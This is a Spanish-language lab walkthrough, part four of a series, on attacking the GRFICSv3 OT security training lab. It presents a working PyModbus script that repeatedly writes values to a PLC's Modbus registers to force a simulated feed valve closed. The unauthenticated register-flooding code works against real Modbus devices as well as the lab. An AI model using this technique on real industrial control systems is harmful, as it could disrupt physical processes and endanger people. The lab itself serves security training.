

Atacando el Laboratorio de Seguridad OT

GRFICSv3 parte 4

Desarrollado por: Roberto Tejado

Atacando el Laboratorio de Seguridad OT GRFICSv3 parte 4

¿Qué ocurre cuando se inyectan comandos Modbus en un ICS?

En esta parte, intentaremos inyectar comandos de escritura Modbus en algunos de los dispositivos que encontramos.

Para ello, vamos a escribir un script de Python usando la biblioteca PyModbus, que ya está incluida en la máquina Kali. Para escribir un script de Python, comienza abriendo el editor de texto con el que te sientas más cómodo.

Primero, importaremos la parte relevante de la biblioteca PYMODBUS, que es la clase cliente Modbus TCP. Si quieres saber más, puedes consultar la documentación de pymodbus.

<https://pymodbus.readthedocs.io/en/latest/>

Por lo tanto, escribiremos un script rápido y sencillo para ver qué se puede hacer con un script simple de Python desde la perspectiva de un atacante.

write.py

```
from pymodbus.client import ModbusTcpClient
import sys
MAX_PER_WRITE = 123
value = int(sys.argv[1])
ip = sys.argv[2]
values = [value] * MAX_PER_WRITE
client = ModbusTcpClient(ip)
client.connect()
```

```
client.write_registers(address=0, values=values )
```

El número máximo de registros que se puede escribir con un solo comando en Modbus está establecido por las especificaciones de Modbus en 123. Así que vamos a almacenar ese valor en una variable, `MAX_PER_WRITE = 123`. Luego, obtendremos el valor que queremos escribir en todos estos registros desde la línea de comandos.

Y como los argumentos de la línea de comandos son siempre cadenas de texto, necesitamos convertirlos a un número entero o int.

De forma similar, obtendremos la dirección IP a la que apuntamos también desde la línea de comandos. Ahora, necesitamos crear un array cuya longitud sea el número máximo de registros que podemos escribir y que esté llenado con el valor numérico.

A continuación, vamos a creamos un cliente `ModbusTcpClient` y luego nos conectamos a él, con `client.connect()`. Una vez conectados, podemos hacer el comando de escritura. Con `client.write_registers(address=0, values=values )`. Comenzamos desde la dirección cero porque no sabemos con certeza qué dirección de destino debemos usar.

Puedes ejecutarlo en una terminal con los argumentos de línea de comandos adecuados:

el valor que queremos escribir es el primer argumento y la dirección IP es el segundo argumento. Para este caso, vamos al objetivo:

la 95.10, que creemos que es la entrada de la válvula de alimentación y vamos a escribir un valor de cero para cerrar la válvula.

```
python3 write.py 0 192.168.95.10
```

Primero, veamos qué está haciendo el sistema de control.



Ahora mismo, la entrada de la válvula está al 100% abierta y luego ejecutamos nuestro programa y no pasa nada.

Una posible razón por la que no pasa nada es porque solo escribimos en los registros una vez y los registros se sobrescriben rápidamente por el PLC porque en cada ciclo, probablemente el PLC calcula el valor correcto para establecer la posición de la válvula y envía ese valor posiblemente muchas veces por segundo. Por lo tanto, cambiar el valor una sola vez probablemente no producirá ningún cambio duradero.

Lo que podemos hacer es volver a nuestro script y simplemente poner esto en un bucle. Así que vamos a decir mientras sea verdadero y luego asegurarnos de indentar esta parte.

write.py

```
from pymodbus.client import ModbusTcpClient
import sys
MAX_PER_WRITE = 123
value = int(sys.argv[1])
ip = sys.argv[2]
values = [value] * MAX_PER_WRITE
client = ModbusTcpClient(ip)
client.connect()
while True:
    client.write_registers(address=0, values=values )
```

Vamos a guardar y luego vamos a intentar lo mismo de nuevo.

```
python3 write.py 0 192.168.95.10
```

Y esta vez, si vuelven a mirar la simulación, hemos cerrado la válvula.



Y luego, si volvemos a nuestra terminal y pulsamos Control + C para detener forzosamente nuestro script y luego volvemos a la simulación, la válvula se abre de nuevo por el PLC.



Ahora, piensen que podrían hacer con el sistema conociendo las direcciones IP de las cuatro válvulas y ahora pudiendo establecer la posición de la válvula de cualquiera de esas válvulas al valor que deseen.

Fuente: <https://www.youtube.com/watch?v=v5HUuWnYbgo>